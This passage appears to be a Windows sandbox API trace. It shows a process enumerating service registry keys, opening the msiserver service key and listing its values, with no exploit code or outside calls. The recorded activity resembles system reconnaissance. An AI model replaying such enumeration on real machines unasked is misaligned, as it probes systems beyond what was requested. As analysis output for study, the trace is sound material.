(in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.752] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.752] RegCloseKey (hKey=0xc4) returned 0x0 [0253.752] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.752] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.752] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.752] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.752] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.753] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.753] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.754] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.754] RegCloseKey (hKey=0x148) returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.754] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.754] RegCloseKey (hKey=0xc4) returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.755] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.755] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.755] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.755] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.755] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.755] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.755] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.755] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.755] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.755] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.755] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, 